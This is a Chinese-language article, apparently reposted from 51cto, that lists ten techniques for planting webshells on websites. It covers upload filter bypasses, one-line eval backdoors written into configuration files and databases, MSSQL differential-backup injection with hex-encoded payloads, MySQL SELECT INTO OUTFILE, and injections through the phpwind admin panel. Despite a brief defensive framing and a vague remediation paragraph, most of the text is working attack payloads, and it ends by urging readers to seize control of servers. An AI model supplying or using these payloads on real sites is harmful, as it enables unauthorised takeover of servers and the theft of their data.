黑客在入侵企業網站時,一般要經過各類方式獲取webshell從而得到企業網站的控制權,而後方便進行以後的入侵行爲。本篇文章將如何獲取webshell總結成爲了十種方法,但願廣大的企業網絡管理員可以經過了解獲取webshell的途徑,對企業自身進行防範。php
1、直接上傳獲取webshellmysql
這種對php和jsp的一些程序比較常見,MolyX BOARD就是其中一例,直接在心情圖標管理上傳。php類型,雖然沒有提示,其實已經成功了,上傳的文 件url應該是http://forums/images/smiles/下,前一陣子的聯衆遊戲站和網易的jsp系統漏洞就能夠直接上傳jsp文件。文 件名是原來的文件名,bo-blog後臺能夠能夠直接上傳。php文件,上傳的文件路徑有提示。以及一年前十分流行的upfile.asp漏洞(動網 5.0和6.0、早期的許多整站系統),因過濾上傳文件不嚴,致使用戶能夠直接上傳webshell到網站任意可寫目錄中,從而拿到網站的管理員控制權 限。web
2、添加修改上傳類型sql
如今不少的腳本程序上傳模塊不是隻容許上傳合法文件類型,而大多數的系統是容許添加上傳類型,bbsxp後臺能夠添加asa|asP類 型,ewebeditor的後臺也可添加asa類型,經過修改後咱們能夠直接上傳asa後綴的webshell了,還有一種狀況是過濾了。asp,能夠添 加。aspasp的文件類型來上傳得到webshell.php系統的後臺,咱們能夠添加。php.g1f的上傳類型,這是php的一個特性,最後的哪一個 只要不是已知的文件類型便可,php會將php.g1f做爲。php來正常運行,從而也可成功拿到shell.LeadBbs3.14後臺得到 webshell方法是:在上傳類型中增長asp ,注意,asp後面是有個空格的,而後在前臺上傳ASP馬,固然也要在後面加個空格!shell
3、利用後臺管理功能寫入webshell數據庫
上傳漏洞基本上補的也差很少了,因此咱們進入後臺後還能夠經過修改相關文件來寫入webshell.比較的典型的有dvbbs6.0,還有 leadbbs2.88等,直接在後臺修改配置文件,寫入後綴是asp的文件。而LeadBbs3.14後臺得到webshell另外一方法是:添加一個新 的友情連接,在網站名稱處寫上冰狐最小馬便可,最小馬先後要隨便輸入一些字符,http:\\網站\inc\IncHtm\BoardLink.asp就 是咱們想要的shell.安全
4、利用後臺管理向配置文件寫webshell服務器
利用"""":""//"等符號構造最小馬寫入程序的配置文件,joekoe論壇,某某同窗錄,沸騰展望新聞系統,COCOON Counter統計程序等等,還有不少php程序均可以,COCOON Counter統計程序舉例,在管理郵箱處添上cnhacker@263.net":eval request(chr (35))//, 在配製文件中就是webmail="cnhacker@263.net\":eval request(chr(35))//",還有一種方法就是寫上 cnhacker@263.net"%><%eval request(chr(35))%><%',這樣就會造成先後對應,最小馬也就運行了。<%eval request(chr(35))%>能夠用lake2的eval發送端以及最新的2006 客戶端來連,須要說明的是數據庫插馬時候要選前者。再如動易2005,到文章中心管理-頂部菜單設置-菜單其它特效,插入一句話 馬"%><%execute request("l")%><%',保 存頂部欄目菜單參數設置成功後,咱們就獲得馬地址http://網站/admin/rootclass_menu_config.asp.網絡
5、利用後臺數據庫備份及恢復獲取webshelljsp
主要是利用後臺對access數據庫的「備份數據庫」或「恢復數據庫」功能,「備份的數據庫路徑」等變量沒有過濾致使能夠把任意文件後綴改 爲asp,從而獲得webshell,msssql版的程序就直接應用了access版的代碼,致使sql版照樣能夠利用。還能夠備份網站asp文件爲其 他後綴 如。txt文件,從而能夠查看並得到網頁源代碼,並得到更多的程序信息增長得到webshell的機會。在實際運用中常常會碰到沒有上傳功能的時 候,可是有asp系統在運行,利用此方法來查看源代碼來得到其數據庫的位置,爲數據庫插馬來創造機會,動網論壇就有一個ip地址的數據庫,在後臺的ip管 理中能夠插入最小馬而後備份成。asp文件便可。在談談突破上傳檢測的方法,不少asp程序在即便改了後綴名後也會提示文件非法,經過在。asp文件頭加 上gif89a修改後綴爲gif來騙過asp程序檢測達到上傳的目的,還有一種就是用記事本打開圖片文件,隨便粘貼一部分複製到asp木馬文件頭,修改 gif後綴後上傳也能夠突破檢測,而後備份爲。asp文件,成功獲得webshell.
6、利用數據庫壓縮功能
能夠將數據的防下載失效從而使插入數據庫的最小馬成功運行,比較典型的就是loveyuki的L-BLOG,在友情添加的url出寫 上<%eval request (chr(35))%>, 提交後,在數據庫操做中壓縮數據庫,能夠成功壓縮出。asp文件,用海洋的最小馬的eval客戶端連就獲得一個webshell.
7、asp+mssql系統
這裏須要提一點動網mssql版,可是能夠直接本地提交來備份的。首先在發帖那上傳一個寫有asp代碼的假圖片,而後記住其上傳路徑。寫一個本地提 交的表單,代碼以下:<form action=http://網站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post"> <p>已上傳文件的位置:<input name="Dbpath" type="text" size="80"></p> <p>要複製到的位置:<input name="backpath" type="text" size="80"></p> <p><input type="submit" value="提交"></p> </form>另存爲。htm本地執行。把假圖片上傳路徑填在「已上傳文件的位置」那裏,想要備份的WebShell的相對路徑填寫在「要復 制到的位置」那裏,提交就獲得咱們可愛的WebShell了,恢復代碼和此相似,修改相關地方就能夠了。沒有遇到事後臺執行mssql命令比較強大的 asp程序後臺,動網的數據庫還原和備份是個擺設,不能執行sql命令備份webshell,只能執行一些簡單的查詢命令。能夠利用mssql注入差別備 份webshell,通常後臺是顯示了絕對路徑,只要有了注入點基本上就能夠差別備份成功。下面是差別備份的主要語句代碼,利用動網7.0的注入漏洞能夠 用差別備份一個webshell,能夠用利用上面提到的方法,將conn.asp文件備份成。txt文件而得到庫名。
差別備份的主要代碼:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s——
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])——
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)——
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT——這段代碼中,0x626273是要備份的庫名bbs的十六進制,能夠是其餘名字好比bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六進制,是lp最小馬;0x643A5C7765625C312E617370是d:\web\1.asp的十六 進制,也就是你要備份的webshell路徑。固然也能夠用比較常見備份方式來得到webshell,惟一的不足就是備份後的文件過大,若是備份數據庫中 有防下載的的數據表,或者有錯誤的asp代碼,備份出來的webshell就不會成功運行,利用差別備份是成功率比較高的方法,而且極大的減小備份文件的 大小。
8、php+mysql系統
後臺須要有mysql數據查詢功能,咱們就能夠利用它執行SELECT …… INTO OUTFILE查詢輸出php文件,由於全部的數據是存放在mysql裏的,因此咱們能夠經過正常手段把咱們的webshell代碼插入mysql在利用 SELECT …… INTO OUTFILE語句導出shell.在mysql操做裏輸入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile '路徑‘ 就能夠得到了一個<?eval($_POST[a]);?>的最小馬' 0x3C3F6576616C28245F504F53545B615D293B3F3E 是咱們<?eval($_POST[a]);?>的十六進制,這種方法對phpmyadmin比較廣泛,先利用phpmyadmin的路徑泄 露漏洞,比較典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php.
就能夠暴出路徑,php環境中比較容易暴出絕對路徑:)。提一點的是遇到是mysql在win系統下路徑應該這樣寫d:\\wwwroot \\a.php.下面的方法是比較經常使用的一個導出webshell的方法,也能夠寫個vbs添加系統管理員的腳本導出到啓動文件夾,系統重起後就會添加一 個管理員賬號CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')
select cmd from a into outfile '路徑/b.php' DROP TABLE IF EXISTS a訪問b.php就會生成一個<?eval($_POST[a]);?>的最小馬。
若是遇到能夠執行php命令就簡單多了,典型的表明是BO-BLOG,在後臺的php命令框輸入如下代碼:
<?$sa = fopen("./up/saiy.php","w");fwrite($sa,"<?eval(\$_POST[a]);?".">");fclose($sa);?>
就會在up目錄下生成文件名爲saiy.php內容爲<?eval($_POST[a]);?>的最小php木馬,最後用lanker 的客戶端來鏈接。實際運用中要考慮到文件夾是否有寫權限。或者輸入這樣的代 碼<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?> 將會在當前目錄生成一個a.php的最小馬。
9、phpwind論壇從後臺到webshell的三種方式
方式1 模板法進入後臺, 風格模版設置 ,在隨便一行寫代碼,記住,這代碼必須頂着左邊行寫,代碼前面不能夠有任何字符。
EOT;eval($a);print <<<EOT然後獲得一個shell爲http://網站/bbs/index.php.
方式2 髒話過濾法進入安全管理 ◇ 不良詞語過濾。新增不良詞語寫 a‘]=’aa‘;eval($_POST[’a‘]);//
替換爲那裏能夠隨意寫,然後獲得一個shell地址爲http://網站/bbs/data/bbscache/wordsfb.php.
方式3 用戶等級管理新創建會員組,頭銜你能夠隨便寫,可是千萬不要寫單雙引號特殊符號,升級圖片號寫a‘;eval($_POST[’a‘]);// ,升級點數依然能夠隨意寫。然後獲得一個shell地址爲http://網站/bbs/data/bbscache/level.php.以上三種方式得 到webshellr的密碼是a,爲lanker的一句話後門服務端。
10、也能夠利用網站訪問計數系統記錄來獲取webshell
最明顯的就是某私服程序內的阿江計數程序,能夠經過http://網站/stat.asp?style=text&referer= 代碼內容&screenwidth=1024直接提交, 便可把代碼內容直接插入到計數系統的數據庫中,而此係統默認數據庫爲count#.asa,咱們能夠經過http://網站/count%23.asa訪 問獲得webshell,因爲阿江計數程序過濾了%和+,將最小馬改爲<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request("1"))</SCRIPT>替換代碼內容處提交,而後用lake2 的eval客戶端來提交,值得一提的是若是進到計數後臺,能夠清理某時某刻的數據,一旦插入asp木馬失敗,能夠清理數據庫再次操做。
解決方案因爲本文涉及的代碼版本不少,因此不可能提供一個完美的解決方案。有能力者能夠針對本文提到的漏洞文件進行適當修補,若漏洞文件不影響系統 使用也可刪除此文件。你們若是不會修補,能夠到相關官方網站下載最新補丁進行修復更新。同時也請你們能時刻關注各大安全網絡發佈的最新公告,若本身發現相 關漏洞也可及時通知官方網站。
後記其實,從後臺獲得webshell的技巧應該還有不少的,關鍵是要看你們怎麼靈活運用、舉一反三,但願本文的方法能起到拋磚引玉的做用。 各位加油吧,讓咱們將服務器控制到底!
聲明:轉載於51cto